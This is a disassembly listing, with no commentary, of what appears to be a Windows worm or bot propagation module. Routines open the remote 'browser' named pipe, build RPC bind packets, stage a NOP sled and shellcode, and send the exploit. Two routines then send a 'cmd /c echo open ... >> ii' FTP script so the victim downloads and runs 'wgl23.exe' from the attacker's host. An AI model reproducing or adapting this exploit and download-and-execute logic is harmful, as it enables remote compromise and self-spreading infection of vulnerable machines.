; =============== S U B	R O U T	I N E =======================================



sub_40E2C3	proc near		; CODE XREF: sub_40E1AD+36p
					; sub_40E1AD+4Fp

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_40E2DA
		pop	ecx
		pop	ecx
		retn	8
sub_40E2C3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E2D3	proc near		; CODE XREF: sub_40E197p
		or	eax, 0FFFFFFFFh
		retn
sub_40E2D3	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E2D7	proc near		; CODE XREF: sub_40DE9E+7Cp
		mov	al, 1
		retn
sub_40E2D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E2DA	proc near		; CODE XREF: sub_40E2C3+6p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40E2E4
		xor	eax, eax

loc_40E2E4:				; CODE XREF: sub_40E2DA+6j
		push	eax		; unsigned int
		call	??2@YAPAXI@Z	; operator new(uint)
		pop	ecx
		retn
sub_40E2DA	endp


; =============== S U B	R O U T	I N E =======================================



sub_40E2EC	proc near		; CODE XREF: sub_40DCF5p
					; unknown_libname_31+3p
		test	byte_4F4B1C, 1
		jnz	short locret_40E2FC
		or	byte_4F4B1C, 1

locret_40E2FC:				; CODE XREF: sub_40E2EC+7j
		retn
sub_40E2EC	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40E2FE	proc near		; DATA XREF: .data:0044000Co
		jmp	$+5
sub_40E2FE	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40E303	proc near
		mov	eax, dword_44A110
		add	eax, 6
		mov	dword_4E6F5C, eax
		retn
sub_40E303	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40E311(int,char,int,__int16,int,size_t Size,int,void *Src,void *Memory,int,char)

sub_40E311	proc near		; CODE XREF: sub_40E311+D0p
					; sub_40E3FF+474p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
Size		= dword	ptr  1Ch
Src		= dword	ptr  24h
Memory		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_40E325
		or	[ebp+arg_7], 1
		jmp	short loc_40E329
; ---------------------------------------------------------------------------

loc_40E325:				; CODE XREF: sub_40E311+Cj
		and	[ebp+arg_7], 0FEh

loc_40E329:				; CODE XREF: sub_40E311+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+Memory]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40E34D
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+Size], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_40E35F
; ---------------------------------------------------------------------------

loc_40E34D:				; CODE XREF: sub_40E311+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+Size], eax
		mov	[ebp+arg_2B], 1

loc_40E35F:				; CODE XREF: sub_40E311+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax		; Size
		mov	[ebp+var_4], eax
		call	_malloc
		test	eax, eax
		pop	ecx
		mov	[ebp+Memory], eax
		jz	loc_40E3F8
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+Size]
		mov	esi, [ebp+Src]
		push	edi		; Size
		add	eax, 18h
		push	esi		; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+Memory]
		push	[ebp+arg_0]
		call	ds:dword_4F63E8	; WriteFile
		test	eax, eax
		jz	short loc_40E3EF
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40E3EF
		push	[ebp+Memory]	; Memory
		call	_free
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40E3EB
		push	0		; char
		sub	ebx, edi
		push	[ebp+arg_24]	; int
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx		; Memory
		push	edi		; Src
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]	; int
		rep movsd
		call	sub_40E311
		add	esp, 2Ch
		jmp	short loc_40E3FA
; ---------------------------------------------------------------------------

loc_40E3EB:				; CODE XREF: sub_40E311+B3j
		mov	al, 1
		jmp	short loc_40E3FA
; ---------------------------------------------------------------------------

loc_40E3EF:				; CODE XREF: sub_40E311+9Cj
					; sub_40E311+A4j
		push	[ebp+Memory]	; Memory
		call	_free
		pop	ecx

loc_40E3F8:				; CODE XREF: sub_40E311+61j
		xor	al, al

loc_40E3FA:				; CODE XREF: sub_40E311+D8j
					; sub_40E311+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E311	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40E3FF(char *Size,void *Memory)

sub_40E3FF	proc near		; CODE XREF: sub_40E9F5+Bp

var_60F0	= qword	ptr -60F0h
var_60DC	= byte ptr -60DCh
var_40DC	= byte ptr -40DCh
Dest		= byte ptr -20DCh
Dst		= byte ptr -0DCh
var_C8		= dword	ptr -0C8h
var_BC		= byte ptr -0BCh
var_B8		= byte ptr -0B8h
var_B7		= byte ptr -0B7h
var_B6		= byte ptr -0B6h
var_B5		= byte ptr -0B5h
var_B4		= dword	ptr -0B4h
var_B0		= word ptr -0B0h
var_AE		= word ptr -0AEh
var_AC		= dword	ptr -0ACh
var_A8		= word ptr -0A8h
var_A6		= word ptr -0A6h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= word ptr -9Ch
var_9A		= byte ptr -9Ah
var_98		= byte ptr -98h
var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_74		= dword	ptr -74h
Src		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= word ptr -60h
var_5C		= byte ptr -5Ch
var_4C		= dword	ptr -4Ch
var_48		= byte ptr -48h
var_47		= byte ptr -47h
var_46		= byte ptr -46h
var_45		= byte ptr -45h
var_44		= dword	ptr -44h
var_3E		= word ptr -3Eh
var_3C		= dword	ptr -3Ch
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= byte ptr -14h
var_10		= qword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Size		= dword	ptr  8
Memory		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 60DCh
		call	__alloca_probe
		push	ebx
		push	esi
		push	edi
		push	offset a__6	; "."
		push	[ebp+Size]	; Str1
		call	__strcmpi
		pop	ecx
		xor	ebx, ebx
		test	eax, eax
		pop	ecx
		jz	short loc_40E475
		push	[ebp+Size]
		mov	esi, 2000h
		lea	eax, [ebp+Dest]
		push	offset aSIpc	; "\\\\%s\\ipc$"
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		push	20h		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 1Ch
		lea	eax, [ebp+Dest]
		mov	[ebp+var_C8], eax
		lea	eax, [ebp+Dst]
		push	ebx
		push	offset dword_4E6F64
		push	offset dword_4E6F68
		push	eax
		call	sub_43B886
		jmp	short loc_40E47A
; ---------------------------------------------------------------------------

loc_40E475:				; CODE XREF: sub_40E3FF+23j
		mov	esi, 2000h

loc_40E47A:				; CODE XREF: sub_40E3FF+74j
		push	[ebp+Size]
		lea	eax, [ebp+var_40DC]
		push	offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 10h
		lea	eax, [ebp+var_40DC]
		push	ebx
		push	40000000h
		push	3
		push	ebx
		push	3
		push	0C0000000h
		push	eax
		call	ds:dword_4F63F4	; CreateFileA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jnz	short loc_40E4BE

loc_40E4B7:				; CODE XREF: sub_40E3FF+197j
					; sub_40E3FF+36Dj ...
		xor	al, al
		jmp	loc_40E902
; ---------------------------------------------------------------------------

loc_40E4BE:				; CODE XREF: sub_40E3FF+B6j
		push	48h		; Size
		lea	eax, [ebp+var_B8]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	10h
		mov	[ebp+var_B8], 5
		pop	eax
		mov	[ebp+var_B7], bl
		push	1
		mov	[ebp+var_B4], eax
		pop	edi
		mov	[ebp+var_B6], 0Bh
		push	eax		; Size
		lea	eax, [ebp+var_98]
		push	offset dword_44A16C ; Src
		push	eax		; Dst
		mov	[ebp+var_B5], 3
		mov	[ebp+var_B0], 48h
		mov	[ebp+var_AE], bx
		mov	[ebp+var_AC], ebx
		mov	[ebp+var_A8], 10B8h
		mov	[ebp+var_A6], 10B8h
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_A0], edi
		mov	[ebp+var_9C], bx
		mov	[ebp+var_9A], 1
		call	_memcpy
		push	10h		; Size
		lea	eax, [ebp+var_84]
		push	offset dword_44A180 ; Src
		push	eax		; Dst
		mov	[ebp+var_88], 3
		call	_memcpy
		add	esp, 24h
		lea	eax, [ebp+var_BC]
		mov	[ebp+var_74], 2
		push	ebx
		push	eax
		lea	eax, [ebp+var_B8]
		push	48h
		push	eax
		push	[ebp+var_4]
		call	ds:dword_4F63E8	; WriteFile
		test	eax, eax
		jnz	short loc_40E59B

loc_40E58D:				; CODE XREF: sub_40E3FF+268j
		push	[ebp+var_4]
		call	ds:dword_4F6370	; CloseHandle
		jmp	loc_40E4B7
; ---------------------------------------------------------------------------

loc_40E59B:				; CODE XREF: sub_40E3FF+18Cj
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_60DC]
		push	esi
		push	eax
		push	[ebp+var_4]
		call	ds:dword_4F63F0	; ReadFile
		push	ebx		; Time
		call	_time
		push	eax		; Seed
		call	_srand
		push	14h		; Size
		lea	eax, [ebp+Src]
		push	41h		; Val
		push	eax		; Dst
		call	_memset
		push	1Ch		; Size
		lea	eax, [ebp+var_30]
		push	41h		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 20h
		call	_rand
		mov	esi, [ebp+Memory]
		mov	[ebp+Src], eax
		mov	[ebp+var_64], edi
		mov	[ebp+var_68], ebx
		lea	esi, [esi+esi*4]
		mov	[ebp+var_6C], edi
		shl	esi, 2
		mov	[ebp+var_60], bx
		cmp	byte_44A0F8[esi], bl
		jz	short loc_40E612
		push	4
		mov	[ebp+var_24], edi
		mov	[ebp+var_28], ebx
		mov	[ebp+var_2C], edi
		push	offset dword_4E6F6C
		jmp	short loc_40E625
; ---------------------------------------------------------------------------

loc_40E612:				; CODE XREF: sub_40E3FF+1FFj
		push	2
		mov	[ebp+var_28], ebx
		pop	eax
		push	4		; Size
		mov	[ebp+var_24], eax
		mov	[ebp+var_2C], eax
		push	offset dword_44A194 ; Src

loc_40E625:				; CODE XREF: sub_40E3FF+211j
		lea	eax, [ebp+var_20]
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch
		call	_rand
		mov	edi, 0FAh
		cdq
		mov	ecx, edi
		idiv	ecx
		inc	edx
		mov	[ebp+var_30], edx
		call	_rand
		cdq
		idiv	edi
		mov	eax, dword_44A0EC[esi]
		mov	[ebp+var_18], ebx
		push	eax		; Size
		mov	[ebp+Size], eax
		inc	edx
		mov	[ebp+var_1C], edx
		call	_malloc
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		jz	loc_40E58D
		mov	eax, [ebp+Size]
		add	eax, 0FFFFFFFEh
		push	eax		; Size
		push	90h		; Val
		push	edi		; Dst
		call	_memset
		mov	eax, [ebp+Size]
		push	2		; Size
		push	ebx		; Val
		lea	eax, [edi+eax-2]
		push	eax		; Dst
		call	_memset
		mov	eax, dword_44A0F4[esi]
		push	7		; Size
		add	eax, edi
		push	offset dword_44A0E0 ; Src
		push	eax		; Dst
		mov	[ebp+Memory], eax
		call	_memcpy
		mov	eax, [ebp+Memory]
		push	15Ch		; Size
		add	eax, 7
		push	offset dword_449F80 ; Src
		push	eax		; Dst
		call	_memcpy
		mov	eax, dword_44A0F0[esi]
		add	esp, 30h
		cmp	byte_44A0F8[esi], bl
		mov	[ebp+Memory], eax
		jz	short loc_40E71E
		push	4		; Size
		add	eax, edi
		push	offset dword_4E6F5C ; Src
		push	eax		; Dst
		call	_memcpy
		add	[ebp+Memory], 0Ch
		mov	esi, offset dword_44A110
		mov	eax, [ebp+Memory]
		push	4		; Size
		add	eax, edi
		push	esi		; Src
		push	eax		; Dst
		call	_memcpy
		mov	eax, [ebp+Memory]
		push	4		; Size
		push	esi		; Src
		lea	eax, [eax+edi+24h]
		push	eax		; Dst
		mov	[ebp+Memory], eax
		call	_memcpy
		mov	eax, [ebp+Memory]
		push	4		; Size
		add	eax, 0Ch
		push	esi		; Src
		push	eax		; Dst
		call	_memcpy
		add	esp, 30h
		jmp	short loc_40E746
; ---------------------------------------------------------------------------

loc_40E71E:				; CODE XREF: sub_40E3FF+2D0j
		add	eax, edi
		mov	[ebp+var_8], 10h
		mov	[ebp+Memory], eax
		mov	esi, offset dword_44A110

loc_40E72F:				; CODE XREF: sub_40E3FF+345j
		push	4		; Size
		push	esi		; Src
		push	[ebp+Memory]	; Dst
		call	_memcpy
		add	[ebp+Memory], 4
		add	esp, 0Ch
		dec	[ebp+var_8]
		jnz	short loc_40E72F

loc_40E746:				; CODE XREF: sub_40E3FF+31Dj
		mov	eax, [ebp+Size]
		add	eax, 42h
		push	eax		; Size
		call	_malloc
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		mov	[ebp+var_8], esi
		jnz	short loc_40E771
		push	[ebp+var_4]
		call	ds:dword_4F6370	; CloseHandle
		push	edi		; Memory
		call	_free
		pop	ecx
		jmp	loc_40E4B7
; ---------------------------------------------------------------------------

loc_40E771:				; CODE XREF: sub_40E3FF+35Bj
		mov	eax, [ebp+Size]
		add	eax, 42h
		push	eax		; Size
		push	ebx		; double
		push	esi		; Dst
		call	_memset
		lea	eax, [ebp+Src]
		push	14h		; Size
		push	eax		; Src
		push	esi		; Dst
		call	_memcpy
		mov	eax, [ebp+Size]
		mov	dword ptr [ebp+var_10+4], ebx
		mov	dword ptr [ebp+var_10],	eax
		add	esp, 10h
		fild	[ebp+var_10]
		fmul	ds:flt_43D480
		fstp	[esp+60F0h+var_60F0]
		call	_ceil
		call	__ftol
		push	[ebp+Size]	; Size
		mov	[esi+1Ch], eax
		mov	[esi+18h], ebx
		mov	eax, [esi+1Ch]
		mov	[esi+14h], eax
		lea	eax, [esi+20h]
		push	edi		; Src
		push	eax		; Dst
		call	_memcpy
		mov	eax, [ebp+Size]
		add	esp, 14h
		add	eax, 20h
		test	al, 3
		mov	[ebp+Memory], eax
		jz	short loc_40E7DE

loc_40E7D6:				; CODE XREF: sub_40E3FF+3DAj
		inc	eax
		test	al, 3
		jnz	short loc_40E7D6
		mov	[ebp+Memory], eax

loc_40E7DE:				; CODE XREF: sub_40E3FF+3D5j
		lea	ecx, [ebp+var_30]
		push	1Ch		; Size
		add	eax, esi
		push	ecx		; Src
		push	eax		; Dst
		call	_memcpy
		add	[ebp+Memory], 1Ch
		push	edi		; Memory
		call	_free
		push	18h		; Size
		lea	eax, [ebp+var_48]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		push	14h		; Size
		lea	eax, [ebp+var_5C]
		push	ebx		; Val
		push	eax		; Dst
		mov	[ebp+var_48], 5
		mov	[ebp+var_47], bl
		mov	[ebp+var_46], bl
		mov	[ebp+var_45], 3
		mov	[ebp+var_44], 10h
		mov	[ebp+var_3E], bx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_34], bx
		mov	[ebp+var_32], 1Fh
		call	_memset
		add	esp, 28h
		push	ebx
		push	ebx
		push	1
		push	ebx
		call	ds:dword_4F63EC	; CreateEventA
		mov	[ebp+var_4C], eax
		mov	byte ptr [ebp+Size+3], bl
		mov	dword ptr [ebp+var_10+4], ebx

loc_40E84B:				; CODE XREF: sub_40E3FF+4D6j
		cmp	dword ptr [ebp+var_10+4], 2
		jge	loc_40E8E0
		push	1		; char
		push	10B8h		; int
		push	[ebp+Memory]	; Memory
		inc	dword ptr [ebp+var_10+4]
		push	esi		; Src
		lea	esi, [ebp+var_48]
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+var_4]	; int
		rep movsd
		call	sub_40E311
		add	esp, 2Ch
		test	al, al
		jz	short loc_40E8DD
		cmp	[ebp+var_4C], ebx
		jz	short loc_40E8CF
		lea	eax, [ebp+var_5C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_60DC]
		push	2000h
		push	eax
		push	[ebp+var_4]
		call	ds:dword_4F63F0	; ReadFile
		test	eax, eax
		jnz	short loc_40E8B6
		call	ds:dword_4F6394	; RtlGetLastWin32Error
		cmp	eax, 3E5h
		jnz	loc_40E4B7

loc_40E8B6:				; CODE XREF: sub_40E3FF+4A4j
		push	3E8h
		push	[ebp+var_4C]
		call	ds:dword_4F63A8	; WaitForSingleObject
		cmp	eax, 102h
		jnz	short loc_40E8CF
		mov	byte ptr [ebp+Size+3], 1

loc_40E8CF:				; CODE XREF: sub_40E3FF+483j
					; sub_40E3FF+4CAj
		cmp	byte ptr [ebp+Size+3], bl
		mov	esi, [ebp+var_8]
		jz	loc_40E84B
		jmp	short loc_40E8E0
; ---------------------------------------------------------------------------

loc_40E8DD:				; CODE XREF: sub_40E3FF+47Ej
		mov	esi, [ebp+var_8]

loc_40E8E0:				; CODE XREF: sub_40E3FF+450j
					; sub_40E3FF+4DCj
		push	[ebp+var_4]
		mov	edi, ds:dword_4F6370
		call	edi	; CloseHandle
		push	esi		; Memory
		call	_free
		cmp	[ebp+var_4C], ebx
		pop	ecx
		jz	short loc_40E8FC
		push	[ebp+var_4C]
		call	edi	; CloseHandle

loc_40E8FC:				; CODE XREF: sub_40E3FF+4F6j
		cmp	byte ptr [ebp+Size+3], bl
		setnz	al

loc_40E902:				; CODE XREF: sub_40E3FF+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E3FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E907	proc near		; CODE XREF: sub_40E9F5+29p

var_5A0		= byte ptr -5A0h
Str		= byte ptr -1A0h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+Dst], 2
		push	eax
		call	ds:dword_4F655C	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	ds:dword_4F6560	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	ds:dword_4F6570	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40E9D5
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_4F6564	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40E9D5
		mov	edi, 400h
		push	esi
		mov	esi, ds:dword_4F6568
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset Str	; "wgl23.exe"
		push	eax
		push	eax
		push	dword_4E3F28
		push	[ebp+arg_0]
		call	sub_40AFA9
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+Str]
		push	190h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		lea	eax, [ebp+Str]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	ebx
		call	ds:dword_4F6574	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E9D9

loc_40E9D5:				; CODE XREF: sub_40E907+50j
					; sub_40E907+62j
		xor	eax, eax
		jmp	short loc_40E9F0
; ---------------------------------------------------------------------------

loc_40E9D9:				; CODE XREF: sub_40E907+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	ds:dword_4F656C	; closesocket
		push	1
		pop	eax

loc_40E9F0:				; CODE XREF: sub_40E907+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E907	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40E9F5(char,char Size)

sub_40E9F5	proc near		; DATA XREF: .data:004492CCo
					; .data:0044930Co

arg_0		= byte ptr  4
Size		= byte ptr  8

		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx

loc_40E9FA:				; CODE XREF: sub_40E9F5+4Bj
		lea	eax, [esp+0Ch+Size]
		push	ebx		; Memory
		push	eax		; Size
		call	sub_40E3FF
		pop	ecx
		test	al, al
		pop	ecx
		jz	short loc_40EA2D
		push	65h
		lea	esi, [esp+10h+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40E907
		add	esp, 0C0h
		test	eax, eax
		jnz	short loc_40EA42

loc_40EA2D:				; CODE XREF: sub_40E9F5+14j
		test	ebx, ebx
		jnz	short loc_40EA3C
		push	7D0h
		call	ds:dword_4F6380	; Sleep

loc_40EA3C:				; CODE XREF: sub_40E9F5+3Aj
		inc	ebx
		cmp	ebx, 2
		jb	short loc_40E9FA

loc_40EA42:				; CODE XREF: sub_40E9F5+36j
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40E9F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EA49	proc near		; CODE XREF: sub_40EB60+91p

var_5A0		= byte ptr -5A0h
Dest		= byte ptr -1A0h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 5A0h
		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+arg_4]
		mov	[ebp+Dst], 2
		push	eax
		call	ds:dword_4F655C	; inet_addr
		push	[ebp+arg_BC]
		mov	[ebp+var_C], eax
		call	ds:dword_4F6560	; htons
		push	esi
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	ds:dword_4F6570	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40EB17
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	ebx
		call	ds:dword_4F6564	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EB17
		mov	edi, 400h
		push	esi
		mov	esi, ds:dword_4F6568
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		mov	eax, offset Str	; "wgl23.exe"
		push	eax
		push	eax
		push	dword_4E3F28
		push	[ebp+arg_0]
		call	sub_40AFA9
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpen_1 ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp+Dest]
		push	190h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 1Ch
		lea	eax, [ebp+Dest]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Dest]
		push	eax
		push	ebx
		call	ds:dword_4F6574	; send
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EB1B

loc_40EB17:				; CODE XREF: sub_40EA49+50j
					; sub_40EA49+62j
		xor	eax, eax
		jmp	short loc_40EB32
; ---------------------------------------------------------------------------

loc_40EB1B:				; CODE XREF: sub_40EA49+CCj
		push	0
		lea	eax, [ebp+var_5A0]
		push	edi
		push	eax
		push	ebx
		call	esi	; recv
		push	ebx
		call	ds:dword_4F656C	; closesocket
		push	1
		pop	eax

loc_40EB32:				; CODE XREF: sub_40EA49+D0j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40EA49	endp

; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		call	ds:dword_4F655C	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40EB5F
		push	dword ptr [esp+4]
		call	ds:dword_4F6558	; gethostbyname
		test	eax, eax
		jnz	short loc_40EB58
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_40EB58:				; CODE XREF: .text:0040EB52j
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40EB5F:				; CODE XREF: .text:0040EB44j
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EB60	proc near		; CODE XREF: sub_40C989+1EAp
					; DATA XREF: .data:off_44924Co

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		mov	[ebp+var_10], 2
		call	dword_4E4260	; inet_addr
		push	[ebp+arg_A0]
		mov	[ebp+var_C], eax
		call	dword_4E4220	; htons
		push	6
		push	1
		push	2
		mov	[ebp+var_E], ax
		call	ds:dword_4F6570	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40EBD2
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	ds:dword_4F6564	; connect
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EBB3
		push	esi
		jmp	short loc_40EBCC
; ---------------------------------------------------------------------------

loc_40EBB3:				; CODE XREF: sub_40EB60+4Ej
		push	0
		push	1213h
		push	offset dword_44A210
		push	esi
		call	ds:dword_4F6574	; send
		cmp	eax, 0FFFFFFFFh
		push	esi
		jnz	short loc_40EBD6

loc_40EBCC:				; CODE XREF: sub_40EB60+51j
		call	ds:dword_4F656C	; closesocket

loc_40EBD2:				; CODE XREF: sub_40EB60+3Cj
		xor	eax, eax
		jmp	short loc_40EC18
; ---------------------------------------------------------------------------

loc_40EBD6:				; CODE XREF: sub_40EB60+6Aj
		call	ds:dword_4F656C	; closesocket
		push	216Bh
		lea	esi, [ebp+arg_0]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40EA49
		add	esp, 0C0h
		test	eax, eax
		jz	short loc_40EC15
		mov	eax, [ebp+arg_A8]
		shl	eax, 6
		inc	dword_449250[eax]
		lea	eax, dword_449250[eax]

loc_40EC15:				; CODE XREF: sub_40EB60+9Ej
		push	1
		pop	eax

loc_40EC18:				; CODE XREF: sub_40EB60+74j
		pop	edi
		pop	esi
		leave
		retn
sub_40EB60	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EC1C	proc near		; CODE XREF: sub_40EC96+74p
					; sub_40EC96+D6p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		xor	esi, esi

loc_40EC24:				; CODE XREF: sub_40EC1C+2Dj
		test	edi, edi
		jle	short loc_40EC4F
		mov	eax, [esp+8+arg_4]
		push	0
		add	eax, esi
		push	edi
		push	eax
		push	[esp+14h+arg_0]
		call	dword_4E4238	; recv
		test	eax, eax
		jz	short loc_40EC4B
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EC4B
		sub	edi, eax
		add	esi, eax
		jmp	short loc_40EC24
; ---------------------------------------------------------------------------

loc_40EC4B:				; CODE XREF: sub_40EC1C+22j
					; sub_40EC1C+27j
		xor	eax, eax
		jmp	short loc_40EC52
; ---------------------------------------------------------------------------

loc_40EC4F:				; CODE XREF: sub_40EC1C+Aj
		push	1
		pop	eax

loc_40EC52:				; CODE XREF: sub_40EC1C+31j
		pop	edi
		pop	esi
		retn
sub_40EC1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40EC55	proc near		; CODE XREF: sub_40EC96+C0p
					; sub_40EC96+EDp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		test	edi, edi
		jz	short loc_40EC92
		xor	esi, esi
		test	edi, edi
		jle	short loc_40EC8C

